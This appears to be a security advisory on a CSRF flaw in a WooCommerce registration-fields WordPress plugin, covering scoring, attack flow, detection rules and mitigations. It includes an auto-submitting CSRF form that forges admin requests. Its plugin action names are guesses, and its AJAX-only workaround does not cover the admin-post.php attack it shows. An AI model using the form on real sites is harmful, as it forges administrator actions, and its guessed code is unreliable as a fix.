CVE-2025-30888

Executive Summary

CVE-2025-30888 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Custom Fields Account Registration For Woocommerce WordPress plugin, developed by Silverplugins217. This plugin is designed to extend WooCommerce registration forms with custom fields. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or injecting malicious custom fields, without the victim's consent. The attack requires social engineering to trick an admin into clicking a crafted link or visiting a malicious page while authenticated to the WordPress admin panel.

The vulnerability is classified as CSRF (CWE-352) with a CVSS v3.1 base score of 4.3 (Medium). The attack vector is network-based, requires low complexity, and necessitates user interaction. No privileges are required for the attacker, but the victim must be an authenticated admin. The impact is limited to integrity (low) with no confidentiality or availability impact.

As this is a WordPress plugin vulnerability, the attack surface is limited to WordPress sites running the affected plugin version (<= 1.1). No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository or directly by the vendor. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites that have installed and activated the vulnerable plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need any authentication.
• User Interaction (UI): Required (R) – The victim must perform an action (e.g., click a link).
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data (e.g., plugin settings).
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via CSRF (e.g., adding admin users) could increase the risk. However, the requirement for user interaction and the low EPSS score reduce immediate urgency.

Deep Dive & Mechanics

The vulnerability resides in the Custom Fields Account Registration For Woocommerce plugin, which adds custom fields to WooCommerce registration forms. The plugin likely processes administrative actions (e.g., saving field configurations, enabling/disabling features) via HTTP POST requests without implementing CSRF tokens or nonces. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated WordPress admin, submits a forged request to the plugin's admin-ajax.php or admin-post.php handler.

Attack Flow:

1. The attacker identifies a target WordPress site running the vulnerable plugin.
2. The attacker crafts a malicious HTML page containing a hidden form that submits a request to the plugin's admin endpoint (e.g., /wp-admin/admin-post.php?action=save_custom_fields).
3. The attacker lures the victim (an authenticated admin) to visit the malicious page via phishing, social media, or a compromised site.
4. The victim's browser automatically submits the forged request, including the victim's session cookies.
5. The plugin processes the request, potentially modifying plugin settings, adding malicious custom fields, or creating new admin users (if the plugin has such functionality).

Root Cause: The plugin fails to validate the origin of requests using WordPress nonces or CSRF tokens. This is a classic CSRF vulnerability common in poorly coded WordPress plugins.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable implementation might look like:

Vulnerable Code (PHP):

// In admin-ajax.php or similar
add_action('wp_ajax_save_custom_fields', 'save_custom_fields_handler');
function save_custom_fields_handler() {
    // No nonce verification
    $field_name = $_POST['field_name'];
    $field_type = $_POST['field_type'];
    // Save to database
    update_option('custom_fields', array('name' => $field_name, 'type' => $field_type));
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_save_custom_fields', 'save_custom_fields_handler');
function save_custom_fields_handler() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'save_custom_fields_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $field_name = sanitize_text_field($_POST['field_name']);
    $field_type = sanitize_text_field($_POST['field_type']);
    update_option('custom_fields', array('name' => $field_name, 'type' => $field_type));
    wp_die();
}

The patch adds wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• WordPress 6.x with WooCommerce and Custom Fields Account Registration For Woocommerce v1.1 installed.
• Attacker machine with a web server (e.g., Apache) to host the malicious page.
• Victim machine with a browser logged in as WordPress admin.

Exploitation Steps:

1. Identify the vulnerable plugin's admin action. For example, the plugin might use admin-post.php?action=cfar_save_fields.
2. Create a malicious HTML file (exploit.html):

<!DOCTYPE html>
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="cfar_save_fields">
    <input type="hidden" name="field_name" value="malicious_field">
    <input type="hidden" name="field_type" value="text">
    <input type="hidden" name="field_required" value="1">
    <input type="submit" value="Click me">
</form>
<script>
    // Auto-submit the form
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

3. Host the file on the attacker's server and send the link to the victim (e.g., via email).
4. When the victim visits the link while logged into WordPress, the form auto-submits, modifying the plugin's settings.

Note: No public exploit code exists; this is a hypothetical example.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-post.php or /wp-admin/admin-ajax.php with unexpected action parameters.
2. Check for missing _wpnonce parameters in admin AJAX requests.
3. Review server logs for referer headers that do not match the site's domain.
4. Use the detection rules below to identify CSRF attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-post.php with action parameter related to the plugin (e.g., cfar_save_fields).
  • Requests with missing or invalid Referer header.
  • Requests from IP addresses not associated with legitimate admin users.

• Host IOCs:

  • Unexpected modifications to the wp_options table, specifically the custom_fields option.
  • New custom fields appearing in WooCommerce registration forms without admin action.
  • Unusual entries in WordPress debug logs (if enabled) showing failed nonce checks.

• File IOCs:

  • Modified plugin files (e.g., custom-fields-account-registration-for-woocommerce.php) with added or removed nonce checks.

Detection Engineering

YARA Rule

rule Detect_CSRF_Vulnerable_Plugin_CVE_2025_30888 {
    meta:
        description = "Detects vulnerable Custom Fields Account Registration For Woocommerce plugin files missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-30888"
    strings:
        $nonce_check = "wp_verify_nonce" nocase
        $admin_action = "wp_ajax_" nocase
        $plugin_specific = "custom_fields_account_registration" nocase
    condition:
        $plugin_specific and $admin_action and not $nonce_check
}

Sigma Rule

title: CSRF Attempt Against Custom Fields Account Registration For Woocommerce
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=cfar_save_fields'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-30888 CSRF Attempt Against Custom Fields Account Registration For Woocommerce";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.uri; content:"action=cfar_save_fields";
    http.referer; content:!"http://"; nocase;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins and deactivate "Custom Fields Account Registration For Woocommerce".
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin-post.php with suspicious action parameters.
3. Educate administrators about phishing attacks and the importance of not clicking suspicious links while logged into WordPress.

Long-term Fix:

• The vendor must release a patched version that includes WordPress nonce verification for all admin actions. Until then, consider using an alternative plugin for custom WooCommerce registration fields.

Workaround:

• Add a custom function to the theme's functions.php to enforce nonce checks:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'cfar_') === 0 && !wp_verify_nonce($_REQUEST['_wpnonce'] ?? '', $action . '_nonce')) {
            wp_die('CSRF detected.');
        }
    }
});

Valters IT – Securing WordPress ecosystems one CVE at a time.